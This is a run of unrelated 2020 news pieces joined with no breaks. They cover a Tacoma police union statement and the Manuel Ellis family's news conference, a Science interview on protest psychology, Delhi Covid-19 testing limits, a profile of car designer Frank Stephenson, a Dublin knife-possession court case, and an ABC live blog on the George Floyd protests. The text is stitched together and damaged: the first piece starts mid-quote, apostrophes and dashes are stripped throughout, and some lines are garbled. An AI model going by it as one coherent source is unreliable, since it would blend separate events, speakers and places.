Without any facts, without an investigation, without due process, and with less than a minute of short, blurry, partial Twitter videos in hand, the mayor passed judgment on the actions of four Tacoma Police Officers, the statement said. She called them criminals. She called for their prosecution. She called for their termination from employment. And she called for all of these things without an ounce of evidence to support her words beyond misplaced rage.

Ellis's family spoke at a news conference flanked by community organizers and civil rights leaders to demand an investigation by the state attorney general.

His mother, Marcia Carter, gave an emotional account of her last conversation with her son: Those were the last words I heard my son say to me: I love you, Mom. I love you, Mom. And I can't hear that ever again. I won't be able to hear that."
Images and reports of people taking to the streets to protest last months killing of George Floyd by Minneapolis police have sparked conversations among Americans on police use of force to control crowds, the morality of looting, and the destruction of property to vent anger and garner attention for a cause.

Divergent perceptions of the unrest have roots in unconscious biases and knowledge of historical contexts, says James Jones, a professor emeritus of psychology at the University of Delaware, Newark, who has studied the psychology underlying prejudice and racism. Understanding where those biases come from and how to counteract them will be key to moving toward a more just society after this highly charged moment, he says.

Science spoke to Jones about the protests and perceptions of them. This conversation has been edited for clarity and brevity.

Q: How have you seen attitudes about prejudice and protests change over the years?

A: Im 79 years old, and Ive been at this for a very long time. Having that experience coalesces a lot of things for me. I started writing the first edition of my book Prejudice and Racism in 1970, following the civil rights movement, and at that time we were talking about institutional racism. We saw the problem as state-sanctioned discrimination that undermined the citizenship rights of black people.

No doubt progress has been made, but what I think this event signals to me is that our efforts have been fundamentally incapable of redressing the negative feelings, perceptions, thoughts, beliefs that underlie this systematic, continued bias against black people.

In one sense, Im hopeful this is finally an inflection point, a watershed like the 1960s were, that fundamentally changes how we approach things. Weve done a lot of research about how to reduce peoples adherence to stereotypes and help different groups recognize their commonalities. But at the same time, the academic enterprise does not inform policies as much as it should. Maybe this will galvanize policymakers to take the research more seriously.



Q: What drives different perceptions of these protests?

A: Race is embedded in our individual and collective psyches. Research by Jennifer Eberhardt and others has shown that when race is salient in the brain, our perceptions are altered. A subliminal image of a black face makes people more likely to perceive a fuzzy image as a gun. Stereotypes also link physical attributes to internal or behavioral states. Black stereotypes, for instance, are most commonly linked to hostility, criminality, and violence. The response to these stereotypic associations is often fear, particularly of black men.

Those stereotypes and that fear lead some people, and some police, to view black protesters as scary, violent criminals.

Q: Are there any insights from psychology that could inform police de-escalation policies and reduce violence against black protesters?

A: A poignant video is circulating that shows a phalanx of police in Fayetteville, North Carolina, kneeling before a group of protesters. This came about at the direction of the police chief. It signaled the kind of sensitivity and restraint and perspective that is clearly the way to defuse these situations. The bottom line is that when people perceive they are on the same side, antagonism recedes.

My colleague Sam Gaertner has done a great amount of research that shows that when people from different groups are brought together as one group, they perceive each other and interact with one another more positively.



Q: Does protesting and venting of anger have psychological benefits?

A: These events have created a context in which blacks feel vindicated, and whites feel they have an opportunity to show their humanity. So yes, protesting, vocalizing, and venting can play a psychologically protective role.

Q: What role can scientists play in supporting racial and social justice?

A: At national funding agencies, there is a hierarchy of value of what research is important, and funding for research into racial justice is slippery and grudgingly provided. One of the first things researchers can do is speak up to say, This work is important, this work is valuable.

Not only do we need more people of color involved in academe, but we need the questions they are asking to be viewed with greater positivity. When we talk about wanting to diversify the professoriate, we often look at it demographically: Weve got more black people working in this or that area. And a large percentage of them over the years have been doing the work that anybody else doesits great that black people can be mathematicians and solve other kinds of scientific problems. But if you want to have a professoriate that advances our understanding of these momentous issues in our society, it needs to be broader than just having more scientists of color. We must look at the problems we are facing and ask, How do we get a scientific purchase on that?

Read the whole story: Science
Strict protocols and delays by labs in testing for coronavirus disease (Covid-19) have triggered a rising number of complaints from people who say they have symptoms but have not been able to determine if they are infected, a situation that experts warned could eventually fuel a silent spread of the disease.

At least 8 testing centres were banned by the Delhi government on Thursday and the administration issued notices asking them to explain why there documents were not in order and the reason for now following guidelines on who can be tested. The move is expected to have shaved off at least 4,000 daily tests from the capitals capacity.

Every minute counts which is why Delhi government cannot compromise on any discrepancy which would consequently distort the facts in the daily health bulletin, said a statement from Delhi government on the decision.

As a temporary measure, these labs have been asked not to pick up individual samples but samples sent by various hospitals and other agencies will continue being processed in these labs, the statement added.

All guidelines are being duly followed. There may be some minor documentation issues but thats because theres lot of data to be fed into computer which takes time, said the owner of a prominent private testing lab.

According to a doctor at Sir Ganga Ram hospital, who asked not to be named, the lack of testing could be causing people with no or mild symptoms not being identified for Covid-19.

Asymptomatic carriers are a huge number that run the risk of infecting others. You need to open up testing criteria because these people otherwise will keep spreading the infection without knowing. Then there are people going for surgeries, or dialysis or chemo patients, who may be carriers and run the risk of infecting health care workers. Why is it difficult to understand that we need to expand not just testing labs but also testing criteria, and not restrict it, said this person.

The testing criteria was made stricter earlier in the week when the city administration said only symptomatic close contacts will be tested for the disease, replacing a previous rule that allowed for asymptomatic close contacts of a confirmed patient to be eligible for a test.

I have symptoms of corona  fever, cough, cold and headache  since I came in contact with my cousin who was found to be positive on June 1, after which I decided to get myself tested, wrote Varun Vats, 26, in a social media post on Thursday that illustrated the complication from the rule change.

Vats finally managed to land a test four days later on Friday when a private hospital in Shalimar Bagh agreed to his request.

Another 26-year-old, Sambhav Bhalla, shared a similar experience. He said on Friday that he was self isolating for since four days after developing fever, bodyache and chills.

He said he called up several hospitals and private labs since but none agreed to test for technical reasons. I would visit a hospital if I felt my condition was deteriorating. I am not even calling government hospitals because I know situation would be worse there as one of my friends uncles passed away and got his Covid test result a week after his death, he said.

Doctors say it is important to make testing more accessible. There is no other way to know how much of your population is currently infected. In fact, if possible, make it walk-in for it to be feasible and expand the list of those who need to get tested to even asymptomatic people as many of those returning positive are asymptomatic carriers, said Dr Lalit Kant, infectious disease specialist.

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Like a lot of kids, Frank Stephenson started sketching when he was about five, growing up in his birthplace, Casablanca, Morocco.

I remember my mother shoving me out of the house to get some fresh air, but all I wanted to do was draw, he reminisced during an hour-long phone chat we shared, socially distanced by the several thousand kilometres between his office in London, England, and mine in Milton.

When he was 11 and living in Istanbul, he was walking through town with his dad. They came across a Ferrari Dino. I stood there for 15 minutes, staring at that car. Dad finally had to lead me away, tears in my eyes.

Thats when he decided he wanted to sketch only cars.

Hes been doing it ever since, in the process becoming one of the giants of the car design world.

Following high school and six years travelling around the world racing motorcycles (he still takes his bike out, but only on nice days), he decided to give car design a shot.

He applied and was accepted into the ArtCenter College of Design in Pasadena, Calif.

Just getting in there is tough, he says. If you graduate, youre pretty much set for life. The school prepares you very well for the rigours of product design.

Thirty students started the four-year program with him. Only six graduated.

His fellow alumni included Grant Larson, who designed the first Porsche Boxster, and Ken Okuyama, who did the Ferrari Enzo.

Heady company.

When I was halfway through the program, Ford offered to pay for my schooling, which I was happy to accept. When I graduated, I started with them in their European design studio in Cologne, Germany.

One of his first projects was the Ford Escort RS Cosworth. The development of the three-level rear spoiler on the car, subsequently reduced to two, is the subject of one of his YouTube videos. Dont miss it.

He subsequently worked for a number of companies, including BMW (where he did the X5 SUV, for which I guess I have to forgive him), Ferrari (FXX), Maserati (MC12) and McLaren (P1).

Unlike a lot of car-star designers, Frank also worked on peoples cars. The new MINI and the Fiat 500, the reimagining of two of the most iconic cars of the 20th century, both came about under his direction.

I first met Frank at the Paris Auto Show in 2000, where the featured unveiling was that new MINI.

He still bristles about how some commentators at the time viewed this car.

I was really peed off ...  about as close to swearing as he gets  when people said it was a retro design.

Of the 15 designs that were proposed for the car, he recalls, some looked nothing at all like the original.

I didnt want to copy the old one, but didnt want to throw away all aspects of it either. You need some sort of a family feeling, a link to the heritage, like the way we relate to our parents and grandparents.

He talks about the Golden Ratio, the number 1.618, also known as Phi. This ratio is found in nature and in classic architecture such as the Parthenon in Athens.

He points out that great music also follows that ratio. Beethoven figured it out, and he was so deaf he thought he was a painter.

Not surprisingly then, this number is also found in the length-to-height ratio of the Minis, both old and new.

At last years MINI Invasion, a celebration of the originals 60th anniversary, I had the rare opportunity to see both cars side by side. Not until then did I really notice how tiny the original was.

But I also could see certain features  wheels at the corners, short overhangs, floating roof and, most of all, those golden ratio proportions, which show the family resemblance Frank was seeking.

I cant draw a straight line with a ruler, so I am always amazed how designers can toss a few lines on a piece of paper and BAM  theres a car.

He has an idea for a book called The Three Lines, where he would take some of the iconic car designs of history and show how you can express them with just three strokes of a pencil.

If you can draw a car in three lines, you pretty much have a good design, he says. The cars that dont last have lines going all over the place. Theres too much going on.

Some modern designs seem intended to shock, and they will age badly, he believes.

One common concern about car design these days is that cars are all designed in a wind tunnel in search of better aerodynamics, hence, better fuel consumption. Wont they all start looking even more alike than they already do?

Frank points out that what looks aero isnt necessarily aero.

We actually have more freedom now w/r/t aerodynamics than we did before, he says. Advances in computational fluid dynamics give us the opportunity to prove that a car that looks aerodynamic might not necessarily be so.

New approaches to air flow give stylists more freedom than we thought we had.

He also looks towards the animal kingdom for inspiration.

Form doesnt follow function, he says, turning a design cliche on its head.

Form IS function. I strive for natural shapes that dont shock you, but are timeless.

He likes the term bio-mimicry. Millions of years of evolution must have taught us something.

The cheetahs design has evolved to let it run fast. Thats how it survives. Thats the true test.

He makes what sounds like quite a leap when he starts talking about warplanes.

They are designed for one thing. They do it well.

To him, thats successful design.

Aviation is clearly another of this polymaths interests. He has been working with a company which is developing a battery-powered aircraft that features VTOL  Vertical Takeoff and Landing.

Not much grass grows under Frank Stephensons feet.

He thinks a lot about how to stimulate creativity in children. Proportion seems to be innate in creative people, and everybody seems to have it when they are young. Does formal schooling turn that tap off?

Kids are curious! he marvels. Somehow, we switch it off.

Educators, take heed.

Frank Stephensons influence on car design is perhaps best reflected in a current web-based voting scheme, organized by whom, I have no idea. It purports to name the top car designer of all time.

From a list of 64 nominees which includes such as Harley Earl of General Motors who pretty much invented car design as a profession, Nuccio Bertone of the styling house that bears his name, and Peter Schreyer who brought European design ethic to Korea, Stephenson has reached The Final Four.

And, he is the only non-Italian in that quartet, the others being Giorgetto Giugiaro, Battista (Pinin) Farina and Leonardo Fioravanti.

Again, heady company.

I have no idea when or how the ultimate winner will be chosen.

If it were Frank Stephenson, I for one would not argue.
A Dublin man had to be pepper-sprayed and disarmed when gardai saw him walking down a city street carrying two large kitchen knives, a court has heard.

Darren Comerford (34) was allegedly found with the knives after gardai responded to a report from a member of the public.

He was granted bail and had the case against him adjourned when he appeared at Dublin District Court on a weapons charge.

Mr Comerford, of Walkinstown Avenue, Crumlin, is charged with unlawful possession of knives on June 3.

Outlining the prosecution's case, a garda said a call was received from a member of the public stating that a man was seen walking on Walkinstown Road with two large kitchen knives.

Gardai went to the scene and saw Mr Comerford with a large knife in each hand, in plain sight of members of the public.

The accused was pepper-sprayed, disarmed and arrested and taken to Crumlin Garda Station.

Significant

Judge Paula Murphy accepted jurisdiction for the case to remain in the district court.

The garda sought conditions on bail, including a requirement that the accused signs on three times a week at Crumlin Garda Station.

Judge Murphy ordered disclosure of prosecution statements to the defence, to include CCTV evidence. She granted free legal aid following an application by defence barrister John Griffin, who said the accused was unemployed.

The judge granted bail but said she would impose a daily signing on condition.

Mr Griffin said gardai were not seeking this.

He said Mr Comerford had been pepper-sprayed, which was still impacting his vision when he appeared in court.

Judge Murphy said it was a "significant charge" and Mr Comerford could apply later on to have the signing-on condition relaxed.

Under bail conditions, the accused is also to be of sober habits, keep the peace and be of good behaviour.

He has not yet entered a plea to the charge.
The death of George Floyd, a black man who died on Memorial Day after he was pinned down by a white Minnesota police officer, has sparked outrage and protests in Minneapolis and across the United States.

Second-degree murder, third-degree murder and manslaughter charges have been filed against Derek Chauvin, the ex-officer who prosecutors say held his knee on Floyd's neck for nearly nine minutes. The three other officers have been charged with aiding and abetting second-degree murder and aiding and abetting manslaughter. All four officers have been fired.

Governors in 32 states and Washington, D.C., have activated more than 32,400 members of the National Guard.

Today's biggest developments:

North Dakota activates National Guard before Fargo protests Majority of US disapproves of Trump's handling of George Floyd death response Roger Goodell apologizes to NFL players who peacefully protested 2 Chicago cops relieved of duties over pulling women from car

This story is being updated throughout the day. Please check back for updates. All times Eastern.

9:40 p.m.: Philadelphia police officer charged with assaulting protester

A police inspector who was filmed hitting a peaceful protester in the back of his head with a metal baton during a demonstration is being charged with assault, Philadelphia District Attorney Larry Krasner announced late Friday.

Philadelphia Police Staff Inspector Joseph Bologna was hit with multiple assault charges for the incident that took place Monday evening in the area of the Benjamin Franklin Parkway. Bologna was allegedly filmed striking a Temple University student in the back of his head, which sent the student to the hospital with a head wound that required 10 staples and 10 sutures, according to the district attorney's office.

MORE: Trump avoids tough questions on race, as White House pushes alternate reality: ANALYSIS

Krasner determined that the student's actions during the protest did not warrant any criminal charges.

Story continues

"Accountability has to be equal. This moment demands a swift and evenhanded response to violent and criminal acts based on the facts and evidence," the district attorney said in a statement.

Philadelphia Police Commissioner Danielle M. Outlaw said an internal affairs investigation has been initiated against Bologna in addition to the DA's investigation.

"As a department, we do not condone the criminal acts of any person, and it is my sincere hope that the District Attorney does, in fact, hold all people who cause harm to others equally accountable," she said in a statement.

8:21 p.m.: NYPD disciplines officers who were filmed assaulting protesters

NYPD Commissioner Dermot Shea announced disciplinary action against officers who were filmed assaulting protesters during last weekend's demonstrations in the city.

A police officer in Brooklyn who was seen on video pushing a woman to the ground during a protest in Brooklyn on May 29 has been suspended without pay and their supervisor has been transferred, according to Shea.

An officer who was filmed removing the face covering of a black protester and pepper spraying them during an event on May 30 was also suspended without pay, the commissioner said.

PHOTO: A woman holds a sign calling for the defunding of the NYPD at a march denouncing systemic racism in law enforcement in the borough of Brooklyn on June 5, 2020, in New York City. (Scott Heins/Getty Images)

The two suspended officers' cases have been referred to the department advocate for disciplinary action, according to Shea.

"These incidents ... are disturbing and run counter to the principles of NYPD training, as well as our mission of public safety," he said in a statement.

The department is also investigating "other matters" related to the protests, according to the commissioner.

8:22 p.m.: California Rep. Maxine Waters 'proud' of protesters, expresses coronavirus concerns

A passionate Rep. Maxine Waters said Friday that she applauds the people who have braved coronavirus concerns to protest the death of George Floyd.

"I am so proud of all these young people. I'm so proud of the various cultures and ethnicities that are depicted in these protests because I see a real coming together of particularly young people around the world," the California Democrat told ABC News on Friday.

That coming together of different groups, she said, makes this fight against racism and police brutality different than the ones she's seen over the years.

"We are watching our sons mostly -- our daughters, too -- be shot down and killed, and we have not been able to protect them," Waters said.

She also called for the arrest of the police officers who shot Breonna Taylor, a black EMT, in her Louisville, Kentucky, home while executing a "no-knock" arrest warrant as she slept.

"A lot of the young people are now standing up for themselves and saying, 'We're going to provide this leadership. We are going to challenge the establishment that has allowed people to continue to be killed in this way. Something is wrong with the ongoing, consistent racism and discrimination that this country has endured for so long,'" Waters said.

Waters said that she worries about the protesters contracting COVID-19, especially after her own sister died of the virus in May. However, she said the protesters are facing a dual threat.

"I'm concerned about the young people who have had the courage to hit the streets and I'm worried about social distancing," she said. "I don't want them to be ill. ... These brave, courageous young people who have decided they were going to put their lives on the line, not only [is there] the possibility of being infected by the coronavirus, but by the military turned on them."

PHOTO: Congresswoman Maxine Waters distributes meals at Crozier Middle School on May 29, 2020, in Inglewood, Calif. (Rich Fury/Getty Images, FILE)

7:49 p.m.: Chicago PD relieves officers of duties following alleged misconduct

Two officers who were filmed dragging a pair of black women from their car and pinning them to the ground in a parking lot have been relieved of their police powers pending investigation, Chicago Police Superintendent David O. Brown announced.

The incident took place on May 31 in the Brickyard Mall and the video showed several officers approach the victims' car and hitting the windows before removing them.

"The people that I thought was there to protect and serve us had dragged me out of the car by my hair and slammed me to the ground," Mia Wright, one of the women, told Chicago ABC station WLS.

"The officer had his knee on my neck, and all I thought about, what happened to George Floyd and it could have been another situation like that," she added.

Brown said he reviewed the Civilian Office of Police Accountability's recommendation about the incident and noted that the Cook County State's Attorney's Office is also investigating.

"We take law enforcement accountability seriously and have reached out to the family involved through their attorney," the Cook County State's Attorney's office said in a statement Thursday.

6:58 p.m.: NFL commissioner apologizes to players who peacefully protested

NFL Commissioner Roger Goodell released a video statement supporting "George Floyd, Breonna Taylor, Ahmad Arbery, and all the families who have endured police brutality."

He also apologized for the league's behavior towards players who peacefully protested.

"We, the National Football League, admit we were wrong for not listening to NFL players earlier, and encourage all to speak out and peacefully protest. We, the National Football League, believe black lives matter," he said.

Goodell did not mention Colin Kaepernick by name but said that he would be will be, "reaching out to players who have raised their voices and others on how we can improve and go forward for a better and more united NFL family."

PHOTO: In this Dec. 12, 2018, file photo, NFL commissioner Roger Goodell speaks during a news conference in Irving, Texas. (Lm Otero/AP, File)

6:34 p.m.: Buffalo mayor not calling for officers to be fired

Buffalo Mayor Byron Brown gave a news conference on the latest developments in the case of the officers shoving an elderly protester last night.

Although the police commissioner suspended two officers for their role in the incident, Brown said he is not calling for their termination while the investigation is ongoing.

"I want the investigation to be conducted," he said. "It is important that officers know they are getting due process."

Brown said that he and the commissioner's office was getting information about the incident quickly and mistakenly said the Martin Gugino tripped. They admitted their mistake after reviewing the video.

"As soon as video evidence came in, commissioner took immediate action," he said.

Earlier this afternoon, 57 members of the Buffalo Police Department resigned from the Emergency Response Team, but remain on the force, in response to the suspensions.

Brown said they have a "contingency plan" and thanked Gov. Andrew Cuomo for "bringing in a large contingent of state police," to help with the protests.

5:38 p.m.: 'Strong folks don't do that': President Obama comments on George Floyd's death

Former President Obama joined another installment of the My Brother's Keeper town hall series Friday afternoon to discuss maintaining mental health and wellness during the difficulties of the current national climate.

The former president offered a personal glimpse into how he dealt with pain throughout his life, as well as how he found strength to "show up" for others while encountering personal pain.

"What I have found throughout my life is that my strength comes from connecting my story to other people's stories," Obama said

On the theme of emotional strength, the former president also acknowledged the death of George Floyd.

"When you saw the police officer put his knee on George Floyd's neck -- if you're not in yourself frightened and needing to do that because there's something missing in you, strong folks don't do that," Obama said.

"There are other people in power who sometimes are lashing out or putting other people down, it's because they've got something in them they've got to work through," he added.

5:37 p.m.: Buffalo police attack victim releases statement

An attorney representing Martin Gugino released a statement on behalf of this client who is in serious but stable condition after he was shoved by Buffalo police officers during a protest.

Gugino is alert and oriented, according to his attorney Kelly V. Zarcone.

"Mr. Gugino has been a longtime peaceful protester, human rights advocate and overall fan of the U.S. Constitution for many years," Zarcone said.

"He appreciates all of the well wishes he has received and requests that any further protests continue to be peaceful," Zarcone added.

5:13 p.m.: Canadian PM takes a knee at demonstration

Canadian Prime Minister Justin Trudeau attended a protest in Parliament Hill in Ottawa.

PHOTO: Canada's Prime Minister Justin Trudeau wears a mask as he takes a knee during a rally against the death in Minneapolis police custody of George Floyd, on Parliament Hill, in Ottawa, Ontario, Canada, June 5, 2020. (Blair Gable/Reuters)

The prime minister didn't make a speech but clapped with the group and then took a knee while holding a Black Lives Matter t-shirt.

3:45 p.m.: Manhattan district attorney says they will not prosecute protesters for low-level offenses

Manhattan District Attorney Cy Vance's offices said Friday afternoon that they will decline to prosecute protesters arrested for low-level offenses like unlawful assembly or disorderly conduct.

The policy aims to minimize unnecessary interactions with the criminal justice system.

"The prosecution of protestors charged with these low-level offenses undermines critical bonds between law enforcement and the communities we serve," the office said in a statement. "Days after the killing of George Floyd, our nation and our city are at a crossroads in our continuing endeavor to confront racism and systemic injustice wherever it exists."

"Our office has a moral imperative to enact public policies which assure all New Yorkers that in our justice system and our society, black lives matter and police violence is a crime," the statement added. "We commend the thousands of our fellow New Yorkers who have peacefully assembled to demand these achievable aims, and our door is open to any New Yorker who wishes to be heard."

If there is evidence that individuals personally participated in violence against police officers, destruction or looting, they will be charged with appropriate crimes, the office added.

4:20 p.m.: Gov. Newsom says he will look into ban on use of strangleholds

In a news conference Friday calling for "change," California Gov. Gavin Newsom said he will look into a ban on the use of strangleholds similar to the one that killed Floyd. The governor said that he wants to standardize the engagement protocols throughout the state instead of having different protocols across local jurisdictions.

He added that "chokeholds" have been illegal in California, but "strangleholds" have continued to be allowed.

"The black community does not need to change. We need to change. We have a responsibility to change," Newsom said. "Our institutions need to change. Our capacity of understanding needs to change."

"Protestors have the right to not be harassed," he added. "They have the right to protest peacefully. They have the right to not be arrested, gassed, shot at by projectiles. That's a simple value statement and I want to make that crystal clear."

3:45 p.m.: San Francisco implementing police reforms to safeguard against false accusations from police

San Francisco District Attorney Chesa Boudin said the city is implementing a new policy requiring that prosecutors review all available evidence before charging any case involving allegations of resisting, obstructing police officers or assault on officers.

The district attorney's office said the new policies are meant to safeguard against false accusations by police to cover up misconduct.

The announcement comes a day after city leaders said they are determined to shift funds from the police department to instead go toward\ the black community.

3:30 p.m.: Nearly 60 Buffalo police resign from Emergency Response Team in protest of suspension of officers who shoved older man

57 members of the Buffalo Police Department have resigned from the Emergency Response Team, but remain on the force, according to an official from their union.

John Evans, president of the Buffalo Police Benevolent Association, said the move was meant to protest the suspensions of two officers involved in the caught-on-video shove of an older man at a protest.

The 75-year-old protester was seen shoved by police to the ground and bleeding from his head in a now-viral video.

Erie County Executive Mark C. Poloncarz said he had not heard about the 57 officers resigning from the Emergency Response Team at a press conference Friday afternoon. He added, however, that if they resigned that indicates to him that the officers didn't see anything wrong with actions taken last night.

3:20 p.m.: DC chief of police says no arrests made in Thursday's protests

Peter Newsham, the Washington, D.C. chief of police, announced that for the second consecutive day, there were no arrests made in the nation's capital during Thursday's protests.

Newsham said they are gearing up for what they expect to be the largest demonstration yet on Saturday, but he is hopeful it will be a peaceful one.

3 p.m.: Ohio National Guard member removed for 'white supremacist ideology'

A member of the Ohio National Guard has been removed from an assignment in Washington, D.C., after the FBI uncovered that they had expressed white supremacist ideology on the internet.

The FBI is investigating and the individual has been suspended from all missions at this time. Gov. Mike DeWine said on Twitter that it is "highly likely" the individual will be permanently removed from the Ohio National Guard.

Following due process, it is highly likely that this individual will be permanently removed from the @OHNationalGuard. I have directed General Harris to work with Public Safety Director Tom Stickrath to set up a procedure so occurrences like this do not happen in the future.  Governor Mike DeWine (@GovMikeDeWine) June 5, 2020

"While I fully support everyone's right to free speech, Guardsmen and women are sworn to protect all of us, regardless of race, ethnic background, or religion," he added.

2:20 p.m.: Minneapolis temporarily bans police using chokeholds

The Minneapolis City Council has voted unanimously to approve a temporary restraining order which would ban police officers from using chokeholds and other neck restraints.

It would also require officers to report any unauthorized use of force by their colleagues while still on the scene, regardless of rank.

Moreover, according to the language in the temporary restraining order, if officers don't intervene, they will be disciplined as though they themselves are the ones who used unauthorized force.

Going forward, the Minneapolis police chief will have to authorize the use of crowd control weapons, including chemical agents such as tear gas.

The police department will now have 45 days to clear out a current backlog of complaints against officers. After that, complaints have to be addressed within 30 days.

Currently, body camera footage is only reviewed when a complaint against an officer is made. The temporary restraining order would require all footage to be audited.

"This is a moment in time where we can totally change how our police department operates," Minneapolis Mayor Jacob Frey said. "We cannot fail."

2:04 p.m.: Trump blasts DC mayor as 'incompetent'

As the tensions between Trump and D.C. Mayor Muriel Bowser escalate, the president blasted her as "incompetent" on Twitter Friday after she asked that he remove all federal law enforcement and military presence from the city.

"The incompetent Mayor of Washington, D.C., @MayorBowser, who's budget is totally out of control and is constantly coming back to us for "handouts", is now fighting with the National Guard, who saved her from great embarrassment over the last number of nights," Trump wrote. "If she doesn't treat these men and women well, then we'll bring in a different group of men and women!"

1:39 p.m.: Remaining active duty troops in D.C. area ordered home

Active duty troops stationed just outside of Washington, D.C., have been ordered to return to their home bases at Fort Bragg and Fort Drum.

The 1,600 troops were never positioned in D.C. Instead, they remained on standby at Joint Base Andrews.

1 p.m.: Biden calls Trump's comments about Floyd 'despicable'

Former vice president and Democratic presidential candidate Joe Biden said the remarks Trump made earlier about Floyd looking down and seeing a "great day" for the country were "despicable."

"Before I speak to the economic situation, I have to take a moment to address something that the president said this morning. Toward the end of his remarks, President Trump said that he hopes that, quote, 'George Floyd is looking down and seeing this is a great day for our country,'" Biden said at a news briefing in Dover, Delaware.

PHOTO: Democratic presidential candidate and former Vice President Joe Biden speaks during a campaign event at Delaware State University in Dover, Del., June 5, 2020. (Jim Bourg/Reuters)

"We're speaking of a man who was brutally killed by an act of needless violence and by a larger tide of injustice that has metastasized on this president's watch as he's moved to split us based on race and religion, ethnicity," Biden added. "George Floyd's last words, I can't breathe, I can't breathe, have echoed all across this nation and quite frankly around the world."

He continued: "For the president to try to put any other words in the mouth of George Floyd I frankly think is despicable."

12:45 p.m.: Law enforcement, public being threatened with explosives at or near protests: FBI

The FBI's National Explosive Task Force issued a bulletin to police agencies across the country warning that law enforcement is being threatened with explosives at or near protests.

They say the most common type of devices being used are Molotov cocktails and fireworks.

"The danger posed to law enforcement officers and the general public from both (improvised incendiary devices) and fireworks is substantial," the bulletin notes. "Both tactics can cause serious injury and death, and significant damage to infrastructure and automobiles."

A week ago today, NYPD vehicles in New York City were targeted with Molotov cocktails during protests in Brooklyn. No cops were injured, but three people were charged with federal riot offenses.

Noon: US Attorney reacts to Buffalo police shoving older protester

In a statement reacting to the viral video of an older American protester who was shoved to the ground by police in Buffalo, New York, the U.S. Attorney for the Western District of New York James Kennedy said the officers involved have been suspended pending further investigation.

PHOTO: In this image from video provided by WBFO, a Buffalo police officer appears to shove a man who walked up to police, June 4, 2020, in Buffalo, N.Y. (Mike Desmond/WBFO via AP)

"Last night, after seeing the video of the incident occurring in front of City Hall, I was concerned and immediately contacted both BPD Commissioner Lockwood and FBI Acting SAC Guyton. The officers involved have been suspended pending further investigation," Kennedy said. "On behalf of the entire law enforcement community, I offer our sincere best wishes to the injured gentleman, as we hope and pray for his speedy and complete recovery."

Earlier Friday, the Erie County District Attorney's office confirmed they were investigating the incident, and said the man seen in the video bleeding from his ear was being treated for a head injury at the Erie County Medical Center.

10:50 a.m.: Trump references death of Floyd in speech touting job gains

PHOTO: President Donald Trump talks about a U.S. jobs report amid the coronavirus disease (COVID-19) pandemic as he addresses a news conference as Vice President Mike Pence listens in the Rose Garden at the White House in Washington, June 5, 2020. (Kevin Lamarque/Reuters)

In a last-minute news conference to discuss this morning's job report, President Trump said he hoped Floyd was "looking down" from heaven "and saying, 'This is a great thing happening for our country.'"

"We all saw what happened last week. We can't let that happen. Hopefully, George is looking down right now and saying, 'this is a great thing happening for our country,'" the president said. "This is a great day for him, this is a great day for everybody. This is great day for everybody. This is a great, great day in terms of equality. It's really what our Constitution requires, and it's what our country is all about."

The president's comments about Floyd came after he said governors should use the National Guard to "dominate the streets," adding from scripted remarks that "every American receives equal treatment in every encounter with law enforcement regardless of race, color, gender, or creed."

10:30 a.m.: Bill de Blasio pledges 'change in the NYPD'

New York City Mayor Bill de Blasio, who has come under fire for his handling of the Floyd protests in New York City, pledged in a news conference Friday: "You will see change in this city, you will see change in the NYPD."

"We simply have not gone far enough. The status quo is still broken, it must change," he added.

The mayor said this "will be the work for the next year and a half of this administration -- to make more change, to make it urgently, to make it powerfully and to make it clear."

He said that work will "proceed immediately," and "you will see those results and you will judge for yourself, as all New Yorkers do."

"Even though we say that phrase words matter and words do matter, actions matter more and that's what we have to achieve," he said. He also promised increased transparency.

De Blasio said that the protests in New York City Thursday were "overwhelmingly peaceful" and that there was little to no property damage. He added that there is no circumstance in which a member of the news media doing their job and covering the protests should be arrested. He also urged everyone who attended protests in New York City to get tested for COVID-19.

Finally, the mayor said that essential workers who are doing their jobs amid the ongoing COVID-19 crisis will be exempt from the citywide curfew.

10:15 a.m.: Vice President Mike Pence to attend 'listening session' in Maryland

The vice president will attend a "listening session with faith and community leaders" in Beltsville, Maryland, today at 12 p.m. ET.

The announcement comes as calls for President Trump to listen to the messages of the protesters across the nation mount and as the president has remained largely defensive and out of sight as the country reels from the death of Floyd.

Pence on Thursday met with a group of black conservative leaders, a White House official said. He shared a photo of the meeting on his Twitter account, saying he was grateful to "hear their insights about how we can move our Nation forward in the wake of the tragic death of George Floyd and the protests and rioting that have ensued."

9:30 a.m.: Mayor asks Trump to remove federal law enforcement and military presence from Washington, D.C.

Washington, D.C. Mayor Muriel Bowser sent a letter to President Donald Trump asking the president to remove "extraordinary federal law enforcement and military presence from our city" as tensions escalate in the nation's capital.

PHOTO: Large yellow letters in support of the Black Live Matter movement are painted on 16th street, just blocks from the White House, June 5, 2020, in Washington, D.C. (WJLA)

Bowser said she has ended the state of emergency in the nation's capital due to the demonstrations.

"The protestors have been peaceful, and last night, the Metropolitan Police Department did not make a single arrest," Bowser wrote. "Therefore, I am requesting that you withdraw all extraordinary federal law enforcement and military presence from Washington, DC."

PHOTO: The White House is seen as people gather in the rain for a peaceful protest against police brutality on June 4, 2020 in Washington, D.C. (Sarah Silbiger/Getty Images)

Bowser said that the lack of an identifying insignia among the law enforcement officers in D.C. adds confusion for protesters, and "creates unnecessary risks for both protesters and officers."

I request that @realDonaldTrump withdraw all extraordinary federal law enforcement and military presence from our city. pic.twitter.com/AvaJfQ0mxP  Mayor Muriel Bowser #StayHomeDC (@MayorBowser) June 5, 2020

7:19 a.m.: NYPD arrests at least 250 protesters Thursday

The New York City Police Department arrested at least 250 people during largely peaceful protests that extended beyond the 8 p.m. curfew Thursday.

In a break from the previous night's practice in which police issued an hour of warnings, officers Thursday night immediately began making arrests in the Bronx at 8 p.m. Three, a demonstration was organized by Decolonize This Place.

There was a second group of arrests on the Upper West Side and more in Williamsburg, Brooklyn.

For a second straight night, officials said there was little if any looting/vandalism and only minor injuries to just a few officers. However, Mayor Bill de Blasio was upset a delivery man was detained in the Upper West Side roundup.

"Just got off the phone with @NYPDShea after seeing the troubling video of a delivery worker arrested by police while doing his job. This is NOT acceptable and must stop," de Blasio tweeted. "Food delivery is essential work and is EXEMPTED from the curfew. Same goes for journalists covering protests and out doing their jobs. They are essential workers, too. We WILL protect their rights. The public depends on the information they provide."

5:56 a.m.: 66% of US disapproves of Trump's response to George Floyd's death

Nearly two-thirds of the country disapproves of President Donald Trump's response of George Floyd's death, according to a new ABC News/Ipsos poll.

Only 32% of Americans approve of Trump's reaction in the aftermath of Floyd's death, which has sparked thousands and thousands of protesters in dozens of cities demanding racial justice.

Troubling for Trump is that only 69% of Republicans approve of his response to Floyd's death. Democrats were nearly unanimous in their response, with 96% of poll respondents disapproving of Trump's handling of the protests.

